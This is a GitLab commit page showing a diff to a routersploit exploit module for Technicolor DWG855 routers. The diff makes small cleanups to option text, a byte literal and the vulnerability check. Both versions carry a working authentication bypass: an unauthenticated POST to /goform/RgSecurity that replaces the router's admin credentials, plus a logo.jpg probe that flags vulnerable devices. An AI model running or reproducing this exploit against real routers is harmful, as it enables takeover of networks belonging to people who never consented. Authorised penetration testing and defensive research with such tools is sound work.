Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
ccfa2dcb
Commit
ccfa2dcb
authored
Nov 15, 2016
by
0BuRner
Committed by
GitHub
Nov 15, 2016
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Update dwg855_authbypass.py
parent
6e5c544d
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
7 additions
and
13 deletions
+7
-13
dwg855_authbypass.py
...rsploit/modules/exploits/technicolor/dwg855_authbypass.py
+7
-13
No files found.
routersploit/modules/exploits/technicolor/dwg855_authbypass.py
View file @
ccfa2dcb
import
binascii
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
print_success
,
print_success
,
...
@@ -34,14 +32,14 @@ class Exploit(exploits.Exploit):
...
@@ -34,14 +32,14 @@ class Exploit(exploits.Exploit):
target
=
exploits
.
Option
(
'192.168.0.1'
,
'Target address e.g. http://192.168.0.1'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
'192.168.0.1'
,
'Target address e.g. http://192.168.0.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
nuser
=
exploits
.
Option
(
'ruser'
,
'
Overwrite old user with..
'
)
nuser
=
exploits
.
Option
(
'ruser'
,
'
New user (overwrites existing user)
'
)
npass
=
exploits
.
Option
(
'rpass'
,
'
Overwrite old password with..
'
)
npass
=
exploits
.
Option
(
'rpass'
,
'
New password (overwrites existing password)
'
)
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp
=
binascii
.
unhexlify
(
'114475636b7900'
)
# Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
vulnresp
=
"
\x11\x44\x75\x63\x6b\x79\x00
"
# Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
def
run
(
self
):
def
run
(
self
):
print_status
(
"Changing
"
+
self
.
target
+
" credentials to "
+
self
.
nuser
+
":"
+
self
.
npass
)
print_status
(
"Changing
"
,
self
.
target
,
"credentials to"
,
self
.
nuser
,
":"
,
self
.
npass
)
url
=
sanitize_url
(
"{}:{}/goform/RgSecurity"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/goform/RgSecurity"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
{
"HttpUserId"
:
self
.
nuser
,
"Password"
:
self
.
npass
,
"PasswordReEnter"
:
self
.
npass
,
"RestoreFactoryNo"
:
"0x00"
}
data
=
{
"HttpUserId"
:
self
.
nuser
,
"Password"
:
self
.
npass
,
"PasswordReEnter"
:
self
.
npass
,
"RestoreFactoryNo"
:
"0x00"
}
...
@@ -72,11 +70,7 @@ class Exploit(exploits.Exploit):
...
@@ -72,11 +70,7 @@ class Exploit(exploits.Exploit):
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
headers
=
headers
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
,
headers
=
headers
)
if
response
is
None
:
if
response
is
not
None
and
self
.
vulnresp
in
response
.
text
.
encode
(
'utf-8'
):
return
False
# target is not vulnerable
return
True
elif
self
.
vulnresp
in
response
.
text
.
encode
(
'utf-8'
):
return
True
# device is vulnerable
elif
response
.
status_code
==
401
:
return
False
# target is not vulnerable
else
:
else
:
return
False
# target is not vulnerable
return
False
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment